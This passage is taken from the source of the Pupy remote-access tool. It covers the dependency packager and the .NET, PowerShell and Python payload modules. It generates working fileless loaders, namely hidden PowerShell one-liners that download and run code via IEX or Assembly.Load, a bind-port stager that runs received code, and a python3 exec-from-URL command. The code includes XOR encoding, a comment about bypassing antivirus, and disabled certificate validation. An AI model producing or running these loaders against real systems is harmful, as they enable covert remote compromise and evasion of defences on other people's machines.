pickle.dumps(modules, 2)\n            blob = zlib.compress(blob, 9)\n        else:\n            blob = modules\n    else:\n        blob, modules, _ = package(\n            target, dependencies,\n            ignore_native=ignore_native, as_dict=as_dict\n        )\n\n    if as_bundle or as_dict:\n        return blob\n    else:\n        return 'pupyimporter.pupy_add_package({}, compressed=True)'.format(\n            reprb(blob))\n\n\ndef modify_native_content(target, filename, content):\n    if not isinstance(content, bytes):\n        return content\n\n    if content.startswith(b'\\x7fELF'):\n        logger.info(\n            'ELF file - %s, check for libpython DT_NEED record', filename\n        )\n\n        image = BytesIO(content)\n        if remove_dt_needed(image, target.so):\n            logger.info('Modified: DT_NEEDED %s removed', target.so)\n\n        content = image.getvalue()\n\n    return content\n\n\ndef get_py_encoding(content):\n    lines = content[:1024].splitlines()\n    if len(lines) < 1:\n        return\n\n    line = lines[0]\n    if not (line.startswith(b'#') and b'coding:' in line):\n        return\n\n    idx = line.find(b'coding:') + 7\n    end = line.find(b'-*-', idx)\n\n    if end == -1:\n        end = None\n\n    coding = line[idx:end]\n    return coding.decode('latin-1').strip()\n\n\ndef get_content(target, prefix, filepath, archive=None, honor_ignore=True):\n    if filepath.startswith(prefix) and honor_ignore:\n        basepath = filepath[len(prefix)+1:]\n        basepath, ext = os.path.splitext(basepath)\n\n        if ext in ('.pyo', 'py', '.pyc'):\n            ext = '.py'\n\n        basepath = basepath + ext\n\n        arch_prefixes = ['all']\n        if target.os:\n            arch_prefixes.append(target.os)\n            arch_prefixes.append(os.path.join(target.os, 'all'))\n\n            if target.arch:\n                arch_prefixes.append(os.path.join(target.os, target.arch))\n\n        for patch_prefix in PATCHES_PATHS:\n            if not os.path.isdir(patch_prefix):\n                continue\n\n            for arch_prefix in arch_prefixes:\n                patch_dir = os.path.join(patch_prefix, arch_prefix)\n\n                if not os.path.isdir(patch_dir):\n                    continue\n\n                maybe_patch = os.path.join(patch_dir, basepath)\n\n                if os.path.exists(maybe_patch):\n                    logger.info('Patch: %s -> %s', filepath, maybe_patch)\n                    with open(maybe_patch, 'rb') as filedata:\n                        return filedata.read()\n\n                elif os.path.exists(maybe_patch+'.ignore'):\n                    logger.info('Patch: Ignore %s', filepath)\n                    raise IgnoreFileException()\n\n                elif os.path.exists(maybe_patch+'.include'):\n                    break\n\n                else:\n                    subpaths = basepath.split(os.path.sep)\n\n                    for i in xrange(len(subpaths)):\n                        ignore = [patch_dir] + subpaths[:i]\n                        ignore.append('.ignore')\n                        ignore = os.path.sep.join(ignore)\n                        if os.path.exists(ignore):\n                            logger.info(\n                                'Patch: Ignore %s (%s)', filepath, ignore\n                            )\n                            raise IgnoreFileException()\n\n    content = None\n\n    if archive:\n        content = archive.read(filepath)\n    else:\n        with open(filepath, 'rb') as filedata:\n            content = filedata.read()\n\n    if not target.native:\n        content = modify_native_content(target, filepath, content)\n\n\n    return content\n\n\ndef from_path(\n    target, search_path, start_path,\n        remote=False, pure_python_only=False,\n        honor_ignore=True, ignore_native=False):\n\n    query = start_path\n\n    modules_dic = {}\n\n    if os.path.sep not in start_path:\n        start_path = start_path.replace('.', os.path.sep)\n\n    module_path = os.path.join(search_path, start_path)\n\n    if remote:\n        if '..' in module_path or not module_path.startswith(\n                tuple(LIBS_AUTHORIZED_PATHS)):\n            raise UnsafePathError(\n                'Attempt to retrieve lib from unsafe '\n                'path: {} (query={})'.format(\n                    module_path, query\n                )\n            )\n\n    # loading a real package with multiple files\n    if os.path.isdir(module_path) and safe_file_exists(module_path):\n        for root, dirs, files in os.walk(module_path, followlinks=True):\n            for f in files:\n                if root.endswith(IGNORED_ENDINGS) or f.startswith('.#'):\n                    continue\n\n                if f.endswith(('.so', '.pyd', '.dll')):\n                    if pure_python_only:\n                        if ignore_native:\n                            continue\n\n                        # avoid loosing shells when looking for packages in\n                        # sys.path and unfortunatelly pushing a .so ELF on a\n                        # remote windows\n                        raise BinaryObjectError(\n                            'Path contains binary objects: {} '\n                            '(query={})'.format(f, query)\n                        )\n\n                if not f.endswith((\n                        '.so', '.pyd', '.dll', '.pyo', '.pyc', '.py')):\n                    continue\n\n                try:\n                    module_code = get_content(\n                        target,\n                        search_path,\n                        os.path.join(root, f),\n                        honor_ignore=honor_ignore\n                    )\n                except IgnoreFileException:\n                    continue\n\n                modprefix = root[len(search_path.rstrip(os.sep))+1:]\n                modpath = os.path.join(modprefix, f).replace('\\\\', '/')\n\n                modpath=rename_cext_path(target, modpath)\n                base, ext = modpath.rsplit('.', 1)\n\n                # Garbage removing\n                if target.purepy:\n                    if ext == 'py':\n                        modpath = base+'.py'\n                        if module_code is not None:\n                            modules_dic[modpath] = module_code\n                else:\n                    if ext == 'py':\n                        try:\n                            module_code = pupycompile(\n                                module_code, modpath, target=target.pyver\n                            )\n                            modpath = base+'.pyo'\n                            if base+'.pyc' in modules_dic:\n                                del modules_dic[base+'.pyc']\n                        except Exception as e:\n                            logger.error('Failed to compile %s: %s', modpath, e)\n\n                    elif ext == 'pyc':\n                        if base+'.pyo' in modules_dic:\n                            continue\n                    elif ext == 'pyo':\n                        if base+'.pyo' in modules_dic:\n                            continue\n                        if base+'.pyc' in modules_dic:\n                            del modules_dic[base+'.pyc']\n\n                    # Special case with pyd loaders\n                    elif ext == 'pyd':\n                        if base+'.py' in modules_dic:\n                            del modules_dic[base+'.py']\n\n                        if base+'.pyc' in modules_dic:\n                            del modules_dic[base+'.pyc']\n\n                        if base+'.pyo' in modules_dic:\n                            del modules_dic[base+'.pyo']\n\n                    if module_code is not None:\n                        modules_dic[modpath] = module_code\n\n    else:\n        extlist = ['.py', '.pyo', '.pyc']\n        if not pure_python_only:\n            extlist.extend(('.so', '.pyd'))\n\n            if target.pymaj == 2:\n                extlist.append('27.dll')\n\n        for ext in extlist:\n            filepath = os.path.join(module_path+ext)\n            if os.path.isfile(filepath) and safe_file_exists(filepath):\n                try:\n                    module_code = get_content(\n                        target,\n                        search_path,\n                        filepath,\n                        honor_ignore=honor_ignore,\n                    )\n                except IgnoreFileException:\n                    break\n\n                cur = ''\n                for rep in start_path.split('/')[:-1]:\n                    if cur + rep + ' /__init__.py' not in modules_dic:\n                        modules_dic[rep+'/__init__.py'] = ''\n                    cur += rep + '/'\n\n                if ext == '.py':\n                    if target.purepy:\n                        ext = '.py'\n                    else:\n                        module_code = pupycompile(\n                            module_code, start_path+ext, target=target.pyver\n                        )\n                        ext = '.pyo'\n\n                modules_dic[start_path+ext] = module_code\n\n                break\n\n    return modules_dic\n\n\ndef paths(target):\n    \"\"\"\n    return the list of path to search packages for depending\n    on client OS and architecture\n    \"\"\"\n\n    posix = target.os != 'windows'\n\n    path = [\n        os.path.join('packages', target.os),\n        os.path.abspath(os.path.join(ROOT, 'library_patches_py3'))\n    ]\n\n    if target.arch:\n        path = path + [\n            os.path.join(p, target.arch) for p in path\n        ]\n\n    if posix:\n        path.append(\n            os.path.join('packages', 'posix')\n        )\n\n    path = path + [\n        os.path.join(p, 'all') for p in path\n    ]\n\n    path.append(os.path.join('packages', 'all'))\n\n    path = path + [\n        os.path.join(ROOT, p) for p in path\n    ]\n\n    return [\n        x for x in path if os.path.isdir(x)\n    ]\n\n\ndef _dependencies(target, module_name, dependencies):\n    if module_name in dependencies:\n        return\n\n    if target.pymaj == 2 and target.os == 'windows' and \\\n            module_name in ('pythoncom', 'pywintypes', 'pythoncomloader'):\n        dependencies.add(module_name + '27.dll')\n\n    dependencies.add(module_name)\n\n    mod_deps = WELL_KNOWN_DEPS.get(module_name, {})\n\n    for dependency in mod_deps.get('all', []) + mod_deps.get(target.os, []):\n        _dependencies(target, dependency, dependencies)\n\ndef rename_cext_path(target, path):\n    removed_endings=[]\n    if same_as_local_arch(target.os, target.arch) and sys.platform.lower()==\"linux\":\n        removed_endings.append(\".abi\"+str(sys.version_info[0])+\".so\")\n    elif same_as_local_arch(target.os, target.arch) and sys.platform.lower()==\"win32\":\n        removed_endings.append(\".abi\"+str(sys.version_info[0])+\".pyd\")\n\n    tarch = target.arch\n    # this will only work for x86_64 linux C2 server, TODO: handle other servers ?\n    if tarch==\"amd64\":\n        tarch=\"x86_64\"\n    removed_endings.append(f\".cpython-{target.pymaj}{target.pymin}-{tarch}-{target.os}-gnu.so\")\n    for ending in removed_endings:\n        if path.endswith(ending):\n            base, ext= path.rsplit(\".\", 1)\n            path = path[:len(path)-len(ending)]+\".\"+ext\n            logger.debug(\"renamed cextension ending to %s\", path)\n            return path\n    return path\n\ndef _package(\n    target, modules, module_name, remote=False,\n        honor_ignore=True, ignore_native=False):\n\n    initial_module_name = module_name\n\n    start_path = module_name.replace('.', os.path.sep)\n\n    for search_path in paths(target):\n        modules_dic = from_path(\n            target, search_path, start_path,\n            remote=remote, honor_ignore=honor_ignore\n        )\n\n        if modules_dic:\n            break\n\n    if not modules_dic:\n        archive = bundle(target)\n        if archive:\n            modules_dic = {}\n\n            endings = COMMON_MODULE_ENDINGS\n            tarch = target.arch\n            # this will only work for x86_64 linux C2 server, TODO: handle other servers ?\n            if tarch==\"amd64\":\n                tarch=\"x86_64\"\n            endings.append(f\".cpython-{target.pymaj}{target.pymin}-{tarch}-{target.os}-gnu.so\")\n\n            start_paths = tuple([\n                (\n                    '/'.join([x, start_path])\n                ).strip('/') + y\n                for x in COMMON_SEARCH_PREFIXES\n                for y in endings\n            ])\n\n            for info in archive.infolist():\n                content = None\n                if info.filename.startswith(start_paths):\n                    module_name = info.filename\n\n                    for prefix in COMMON_SEARCH_PREFIXES:\n                        if module_name.startswith(prefix + '/'):\n                            module_name = module_name[len(prefix)+1:]\n                            break\n\n                    try:\n                        base, ext = module_name.rsplit('.', 1)\n                    except:\n                        continue\n\n                    # Garbage removing\n                    if target.purepy:\n                        if ext == \"py\":\n                            try:\n                                content = get_content(\n                                        target, prefix,\n                                        info.filename, archive,\n                                        honor_ignore=honor_ignore\n                                    )\n                            except IgnoreFileException:\n                                continue\n                    elif ext == 'py':\n                        try:\n                            content = pupycompile(\n                                get_content(\n                                    target, prefix,\n                                    info.filename, archive,\n                                    honor_ignore=honor_ignore\n                                ),\n                                info.filename,\n                                target=target.pyver\n                            )\n\n                            ext = 'pyo'\n\n                            if base+'.py' in modules_dic:\n                                del modules_dic[base+'.py']\n\n                            if base+'.pyc' in modules_dic:\n                                del modules_dic[base+'.pyc']\n\n                        except IgnoreFileException:\n                            continue\n\n                    elif ext == 'pyc':\n                        if base+'.py' in modules_dic:\n                            del modules_dic[base+'.py']\n\n                        if base+'.pyo' in modules_dic:\n                            continue\n                    elif ext == 'pyo':\n                        if base+'.py' in modules_dic:\n                            del modules_dic[base+'.py']\n\n                        if base+'.pyc' in modules_dic:\n                            del modules_dic[base+'.pyc']\n\n                        if base+'.pyo' in modules_dic:\n                            continue\n                    # Special case with pyd loaders\n                    elif ext == 'pyd':\n                        if base+'.py' in modules_dic:\n                            del modules_dic[base+'.py']\n\n                        if base+'.pyc' in modules_dic:\n                            del modules_dic[base+'.pyc']\n\n                        if base+'.pyo' in modules_dic:\n                            del modules_dic[base+'.pyo']\n\n                    if not content:\n                        try:\n                            content = get_content(\n                                target, prefix,\n                                info.filename, archive,\n                                honor_ignore=honor_ignore\n                            )\n                        except IgnoreFileException:\n                            continue\n                    fpath = base+'.'+ext\n                    fpath=rename_cext_path(target, fpath)\n                    if content:\n                        modules_dic[fpath] = content\n\n            archive.close()\n\n    # in last resort, attempt to load the package from the\n    # server's sys.path if it exists\n\n    if target.pymaj == sys.version_info[0]:\n        if not modules_dic:\n            for search_path in sys.path:\n                try:\n                    pure_python_only = True\n                    if same_as_local_arch(target.os, target.arch):\n                        pure_python_only = False\n                    modules_dic = from_path(\n                        target, search_path, start_path,\n                        pure_python_only=pure_python_only, ignore_native=ignore_native,\n                        remote=remote\n                    )\n\n                    if modules_dic:\n                        logger.info(\n                            'package %s not found in packages/, but found in'\n                            'local sys.path attempting to push it remotely',\n                            initial_module_name\n                        )\n                        break\n\n                except BinaryObjectError as e:\n                    logger.warning(e)\n\n                except UnsafePathError as e:\n                    logger.error(e)\n\n    if not modules_dic:\n        raise NotFoundError(module_name)\n\n    modules.update(modules_dic)\n\n\ndef package(\n    target, requirements, remote=False, filter_needed_cb=None,\n        honor_ignore=True, ignore_native=False, as_dict=False):\n\n    dependencies = set()\n\n    if not type(requirements) in (list, tuple, set, frozenset):\n        requirements = [requirements]\n\n    for requirement in requirements:\n        _dependencies(target, requirement, dependencies)\n\n    package_deps = set()\n    dll_deps = set()\n\n    for dependency in dependencies:\n        if dependency.endswith(('.so', '.dll')):\n            dll_deps.add(dependency)\n        else:\n            package_deps.add(dependency)\n\n    if filter_needed_cb:\n        if package_deps:\n            package_deps = filter_needed_cb(package_deps, False)\n\n        if dll_deps:\n            dll_deps = filter_needed_cb(dll_deps, True)\n\n    payload = b''\n    contents = []\n    dlls = []\n\n    if package_deps:\n        modules = {}\n\n        for dependency in package_deps:\n            _package(\n                target, modules, dependency,\n                remote=remote, honor_ignore=honor_ignore,\n                ignore_native=ignore_native\n            )\n        add_missing_init(target, modules)\n        if not as_dict:\n            payload = zlib.compress(\n                pickle.dumps(modules, 2), 9\n            )\n        else:\n            payload = modules\n\n        contents = list(dependencies)\n\n    if dll_deps:\n        for dependency in dll_deps:\n            dlls.append((dependency, dll(target, dependency)))\n\n    return payload, contents, dlls\n\ndef add_missing_init(target, modules):\n    toadd={}\n    for k in modules.keys():\n        tab=k.split(\"/\")\n        for i in range(1, len(tab)-1):\n            pathname=\"/\".join(tab[0:i])\n            if not target.purepy:\n                f=pathname+\"/__init__.pyo\"\n                if f not in modules and f not in toadd and f[:-1] not in modules:\n                    logger.debug(\"adding missing {}\".format(f))\n                    toadd[f] = pupycompile(\"\", pathname, target=target.pyver)\n            else:\n                f=pathname+\"/__init__.py\"\n                if f not in modules and f not in toadd:\n                    logger.debug(\"adding missing {}\".format(f))\n                    toadd[f] = b\"\"\n\n    modules.update(toadd)\n\ndef bundle(target):\n    if not target.os or not target.arch:\n        return None\n\n    bundle_name = '{}-{}-{}{}.zip'.format(\n        target.os, target.arch, target.pymaj, target.pymin\n    )\n\n    arch_bundle = os.path.join(\n        'payload_templates', bundle_name\n    )\n\n    if not os.path.isfile(arch_bundle):\n        arch_bundle = os.path.join(\n            ROOT, 'payload_templates', bundle_name\n        )\n\n    if not os.path.exists(arch_bundle):\n        return None\n    return ZipFile(arch_bundle, 'r')\n\n\ndef dll(target, name, honor_ignore=True):\n    buf = b''\n\n    for packages_path in paths(target):\n        dll_path = os.path.join(packages_path, name)\n        if os.path.exists(dll_path):\n            try:\n                buf = get_content(\n                    target, name, dll_path,\n                    honor_ignore=honor_ignore\n                )\n            except IgnoreFileException:\n                pass\n\n            break\n\n    if not buf:\n        archive = bundle(target)\n        if archive:\n            for info in archive.infolist():\n                if info.filename.endswith('/'+name) or info.filename == name:\n                    try:\n                        buf = get_content(\n                            target, os.path.dirname(info.filename),\n                            info.filename,\n                            archive,\n                            honor_ignore=honor_ignore\n                        )\n                    except IgnoreFileException:\n                        pass\n\n                    break\n\n            archive.close()\n\n    if not buf:\n        raise NotFoundError(name)\n\n    return buf\n"
  },
  {
    "path": "pupy/pupylib/payloads/dotnet.py",
    "content": "# -*- coding: utf-8 -*-\n# Author: @n1nj4sec\n# Contributor(s):\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport os\nimport subprocess\nimport tempfile\nimport random\n\nfrom io import open\nfrom string import ascii_uppercase, ascii_lowercase\nfrom os.path import join, splitext, isfile\nfrom base64 import b64encode\n\nfrom pupy.pupylib.PupyOutput import Success, Error, List\nfrom pupy.pupylib import ROOT\n\nfrom pupy.network.lib.convcompat import shlex\n\nTEMPLATE = join(ROOT, 'payload_templates', 'PupyLoaderTemplate.cs')\n\nPS_TEMPLATE = \\\n  \"[Reflection.Assembly]::Load(\" \\\n  \"(new-object net.webclient).DownloadData(\" \\\n  \"'http://{link_ip}:{port}{landing_uri}')).GetTypes()[0].GetMethods(\" \\\n  \")[0].Invoke($null,@())\"\n\n\nclass DotNetPayload(object):\n    def __init__(\n        self, display, server, conf,\n            rawdll, outpath=None, output_dir=None):\n\n        self.server = server\n        self.display = display\n        self.conf = conf\n        self.outpath = outpath\n        self.output_dir = output_dir\n        self.rawdll = rawdll\n\n    def gen_source(self, random_path=False):\n        with open(TEMPLATE, 'r') as f:\n            template_source = f.read()\n\n        self.display(Success('packing pupy into C# source ...'))\n\n        encoded = '{' + ','.join(\n            str(c ^ 0xFF) for c in self.rawdll\n        ) + '}'\n\n        content = template_source.replace('<PUPYx64_BYTES>', encoded)\n\n        if not self.outpath or random_path:\n            outfile = tempfile.NamedTemporaryFile(\n                dir=self.output_dir or '.',\n                prefix='pupy_',\n                suffix='.cs',\n                delete=False,\n                mode='w'\n            )\n        else:\n            outpath_src, _ = splitext(self.outpath) + '.cs'\n            outfile = open(outpath_src, 'w')\n\n        outfile.write(content)\n        outfile.close()\n        return outfile.name\n\n    def gen_exe(self, options=''):\n        sourcepath = self.gen_source(random_path=True)\n\n        if not self.outpath:\n            outfile = os.path.join(\n                self.output_dir or '.', 'pupy_'+''.join(\n                    random.choice(\n                        ascii_uppercase + ascii_lowercase) for _ in range(8)\n                ) + '.exe'\n            )\n        else:\n            outfile = self.outpath\n\n        try:\n            command = ['mcs']\n\n            if self.server:\n                config = self.server.config\n            else:\n                from pupy.pupylib import PupyConfig\n                config = PupyConfig()\n\n            sdk = config.get('gen', 'mcs_sdk', fallback=4)\n            options = ' '.join([\n                options,\n                config.get('gen', 'mcs_options', fallback='') or ''\n            ])\n\n            if options:\n                command.extend(shlex.split(options))\n\n            if not self.conf.get('debug', False):\n                if '-target:' not in options:\n                    command.append('-target:winexe')\n\n                if '-debug' not in options:\n                    command.append('-debug-')\n\n                if '-optimize' not in options:\n                    command.append('-optimize+')\n\n            command.extend([\n                '-unsafe',\n                '-noconfig',\n                '-sdk:' + sdk,\n                '-OUT:' + outfile,\n                sourcepath\n            ])\n\n            self.display(\n                Success('compiling via mono command: {}'.format(\n                    ' '.join(command))\n                )\n            )\n\n            try:\n                output = subprocess.check_output(command).strip()\n                if output:\n                    self.display(output)\n\n            except subprocess.CalledProcessError as e:\n                self.display(\n                    Error(\n                        'Mono compilation failed: {}'.format(e.output)\n                    )\n                )\n\n                return None\n\n            except OSError:\n                self.display(\n                    Error(\n                        'mcs compiler can\\'t be found. '\n                        'install mono-mcs package'\n                    )\n                )\n\n                return None\n\n        finally:\n            os.unlink(sourcepath)\n\n        return outfile\n\n\ndef dotnet_serve_payload(display, server, rawdll, conf, link_ip=None):\n    if not server:\n        display(Error('Oneliners only supported from pupysh'))\n        return\n\n    if not server.web_handler_enabled:\n        display(Error('Webserver handlers disabled'))\n        return\n\n    dn = DotNetPayload(display, server, conf, rawdll)\n    exe_path = dn.gen_exe(options='-target:library')\n\n    if not exe_path or not isfile(exe_path):\n        display(Error('Build failed'))\n        return\n\n    with open(exe_path, 'rb') as r:\n        payload = r.read()\n\n    os.unlink(exe_path)\n\n    landing_uri = server.serve_content(payload, alias='.NET payload')\n\n    if link_ip is None:\n        link_ip = server.address\n\n    command = PS_TEMPLATE.format(\n        link_ip=link_ip,\n        port=server.web_handler_port,\n        landing_uri=landing_uri\n    ).encode('utf-16le')\n\n    display(List([\n        'powershell -w hidden -enc \"{}\"'.format(\n            b64encode(command).decode('latin-1')),\n    ], caption=Success(\n        'Copy/paste this one-line loader to deploy pupy '\n        'without writing on the disk'))\n    )\n"
  },
  {
    "path": "pupy/pupylib/payloads/ps1_oneliner.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom base64 import b64encode\nfrom time import sleep\n\nimport sys\nfrom pupy.cli import pupygen\nimport socket\nimport errno\n\nfrom pupy.pupylib.PupyOutput import List, Success, Warn, Error\n\n\nCONNECTION_RETRY_SLEEP_TIME = 3\n\nif sys.version_info.major > 2:\n    xrange = range\n\n\ndef serve_ps1_payload(\n    display, server, conf, link_ip=None,\n        useTargetProxy=False, nothidden=False):\n\n    if not server:\n        display(Error('Oneliners only supported from pupysh'))\n        return\n\n    if not server.web_handler_enabled:\n        display(Error('Webserver disabled'))\n        return\n\n    if link_ip is None:\n        link_ip = server.address\n\n    stage_encoding = \\\n        \"$data='{0}';$code=[System.Text.Encoding]::UTF8.GetString(\" \\\n        \"[System.Convert]::FromBase64String($data));$data='';iex $code;\"\n\n    payload_url_x86 = server.serve_content(\n        stage_encoding.format(\n            b64encode(\n                pupygen.generate_ps1(\n                    display, conf, x86=True, as_str=True,\n                    debug=conf.get('debug', False)\n                )\n            )\n        ),\n        alias='ps1 payload [x86]'\n    )\n\n    payload_url_x64 = server.serve_content(\n        stage_encoding.format(\n            b64encode(pupygen.generate_ps1(\n                display, conf, x64=True, as_str=True, debug=conf.get('debug', False)))),\n        alias='ps1 payload [x64]')\n\n    protocol = 'http'\n    ssl_cert_validation = ''\n    not_use_target_proxy = ''\n    hidden = '-w hidden '\n\n    if nothidden:\n        hidden = ''\n\n    if server.pupweb and server.pupweb.ssl:\n        protocol = 'https'\n        ssl_cert_validation = '[System.Net.ServicePointManager]::'\\\n          'ServerCertificateValidationCallback={$true};'\n\n    if not useTargetProxy:\n        not_use_target_proxy = '$w=(New-Object System.Net.WebClient);'\\\n          '$w.Proxy=[System.Net.GlobalProxySelection]::GetEmptyWebProxy();'\n\n    powershell = \"[NOT_USE_TARGET_PROXY][SSL_CERT_VALIDATION]IEX(\"\\\n      \"New-Object Net.WebClient).DownloadString('[PROTOCOL]://[LINK_IP]:[LINK_PORT][RANDOM]');\"\n\n    repls = {\n        '[NOT_USE_TARGET_PROXY]': not_use_target_proxy,\n        '[SSL_CERT_VALIDATION]': ssl_cert_validation,\n        '[PROTOCOL]': protocol,\n        '[LINK_IP]': '%s' % link_ip,\n        '[LINK_PORT]': '%s' % server.web_handler_port,\n    }\n\n    for k,v in repls.items():\n        powershell = powershell.replace(k, v)\n\n    launcher_x64 = powershell.replace('[RANDOM]', payload_url_x64)\n    launcher_x86 = powershell.replace('[RANDOM]', payload_url_x86)\n\n    # Compute stage1 to gain time response\n    ps_template_stage1 = \"if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{ {0} }} else {{ {1} }}\"\n\n    # For bypassing AV\n    stage1 = r\"$code=[System.Text.Encoding]::UTF8.GetString(\"\\\n      \"[System.Convert]::FromBase64String('{0}'));iex $code;\".format(\n          b64encode(ps_template_stage1.format(launcher_x64, launcher_x86)))\n\n    landing_uri = server.serve_content(stage1, alias='ps1 payload loader')\n\n    launcher            = powershell.replace('[RANDOM]', landing_uri)\n    basic_launcher      = \"powershell.exe [HIDDEN]-noni -nop [CMD]\".replace('[HIDDEN]', hidden)\n    oneliner            = basic_launcher.replace('[CMD]', '-c \\\"%s\\\"' % launcher)\n    encoded_oneliner    = basic_launcher.replace('[CMD]', '-enc %s' % b64encode(launcher.encode('UTF-16LE')))\n\n    display(List([\n        oneliner,\n        encoded_oneliner\n    ], caption=Success(\n        'Copy/paste one of these one-line loader to deploy '\n        'pupy without writing on the disk:'))\n    )\n\n    display(Warn(\n        'Please note that even if the target\\'s system uses a proxy, '\n        'this previous powershell command will not use the '\n        'proxy for downloading pupy')\n    )\n\n\ndef send_ps1_payload(display, conf, bind_port, target_ip, nothidden=False):\n\n    ps1_template = \\\n        '$l=[System.Net.Sockets.TcpListener][BIND_PORT];' \\\n        '$l.start();' \\\n        '$c=$l.AcceptTcpClient();' \\\n        '$t=$c.GetStream();' \\\n        '[byte[]]$b=0..4096|%{0};' \\\n        '$t.Read($b, 0, 4);' \\\n        '$c=\"\";' \\\n        'if ($Env:PROCESSOR_ARCHITECTURE -eq \\'AMD64\\'){' \\\n        '$t.Write([System.Text.Encoding]::UTF8.GetBytes(\"2\"),0,1);' \\\n        '} else {' \\\n        '$t.Write([System.Text.Encoding]::UTF8.GetBytes(\"1\"),0,1);' \\\n        '}' \\\n        'while(($i=$t.Read($b,0,$b.Length)) -ne 0) {' \\\n        '$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString(' \\\n        '$b,0,$i);' \\\n        '$c=$c+$d;' \\\n        '}' \\\n        '$t.Close();' \\\n        '$l.stop();' \\\n        'iex $c;'\n\n    main_ps1_template = \\\n        '$c=[System.Text.Encoding]::UTF8.GetString(' \\\n        '[System.Convert]::FromBase64String(\\'{0}\\'));' \\\n        'iex $c;'\n\n    hidden = '' if nothidden else '-w hidden '\n    launcher = ps1_template.replace(\"[BIND_PORT]\", bind_port)\n    launcher = launcher.replace('\\n', '').replace('    ', '')\n    basic_launcher = 'powershell.exe [HIDDEN]-noni -nop [CMD]'.replace(\n        '[HIDDEN]', hidden)\n    oneliner = basic_launcher.replace('[CMD]', '-c \\\"%s\\\"' % launcher)\n    encoded_oneliner = basic_launcher.replace(\n        '[CMD]', '-enc %s' % b64encode(launcher.encode('UTF-16LE')))\n\n    display(\n        List([\n            oneliner,\n            encoded_oneliner,\n        ], caption=Success(\n            'Copy/paste one of these one-line loader to '\n            'deploy pupy without writing on the disk'))\n    )\n\n    display(Success('Generating puppy dll. Be patient...'))\n\n    display(Success('Connecting to {0}:{1}'.format(target_ip, bind_port)))\n\n    s = None\n\n    for _ in xrange(10):\n        try:\n            s = socket.create_connection((target_ip, int(bind_port)))\n            break\n\n        except socket.error as e:\n            if e.errno not in (errno.ECONNREFUSED, errno.ETIMEDOUT):\n                display(Error('Connection failed: {}'.format(e)))\n                return\n\n            sleep(CONNECTION_RETRY_SLEEP_TIME)\n\n    if s is None:\n        display(Error('Connection failed'))\n        return\n\n    s.settimeout(30)\n    s.sendall('\\n')\n\n    display(Success('Receiving target architecure...'))\n\n    version = s.recv(1024)\n    ps1_encoded = None\n\n    if version == '2':\n        display(Success('Target architecture: x64'))\n        output_x64 = pupygen.generate_ps1(display, conf, x64=True, as_str=True)\n        ps1_encoded = main_ps1_template.format(b64encode(output_x64))\n    else:\n        display(Success('Target architecture: x86'))\n        output_x86 = pupygen.generate_ps1(display, conf, x86=True, as_str=True)\n        ps1_encoded = main_ps1_template.format(b64encode(output_x86))\n\n    display(\n        Success('Sending ps1 payload to {0}:{1}'.format(target_ip, bind_port))\n    )\n    s.sendall(ps1_encoded)\n    s.close()\n\n    display(\n        Success('ps1 payload sent to target {0}:{1}'.format(\n            target_ip, bind_port))\n    )\n"
  },
  {
    "path": "pupy/pupylib/payloads/py_oneliner.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root\n# of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport os.path\nfrom io import open\n\nfrom pupy.pupylib.PupyOutput import Success, Warn, Error, List\nfrom pupy.pupylib.utils.obfuscate import compress_encode_obfs\nfrom pupy.pupylib.payloads import dependencies\nfrom pupy.pupylib import ROOT\n\n\ndef getLinuxImportedModules():\n    lines = ''\n\n    with open(os.path.join(ROOT, 'conf', 'imports_done.py')) as f:\n        lines = f.read()\n\n    return lines\n\n\ndef pack_py_payload(target, display, conf, autostart=True, purepy=True):\n    display(Success('Generating PY payload ...'))\n    target._purepy = purepy # purepy=True force the use of .py files instead of .pyo\n    stdlib = dependencies.importer(\n        target, (\n            'pyasn1', 'rsa', 'pyaes',\n            'netaddr', 'tinyec', 'umsgpack',\n            'poster', 'win_inet_pton', 'http_parser',\n            'urllib_auth',\n        ),\n        ignore_native=True, as_dict=True\n    )\n\n    stdlib.update(\n        dependencies.importer(\n            target, (\n                'pupy.network', 'pupy.agent'\n            ), as_dict=True\n        )\n    )\n\n    payload = dependencies.bootstrap(\n        stdlib, conf, autostart, purepy=purepy) + '\\n'\n\n    if target.debug:\n        return payload\n\n    return compress_encode_obfs(payload, main=True)\n\n\ndef serve_payload(display, server, payload, link_ip=None):\n    if not server:\n        display(Error('Oneliners only supported from pupysh'))\n        return\n\n    if not server.web_handler_enabled:\n        display(Error('Webserver disabled'))\n        return\n\n    landing_uri = server.serve_content(payload, alias='py payload')\n\n    display(Warn('Python 3 required'))\n\n    if link_ip is None:\n        link_ip = server.address\n\n    display(List([\n        \"python3 -c 'import urllib.request as r;exec(r.urlopen(\\\"http://%s:%s%s\\\").read().decode(\\\"utf8\\\"))'\" % (\n            link_ip, server.web_handler_port, landing_uri\n        ),\n    ], caption=Success(\n        'Copy/paste this one-line loader to deploy pupy '\n        'without writing on the disk')\n    ))\n"
  },
  {
    "path": "pupy/pupylib/payloads/rubber_ducky.py",
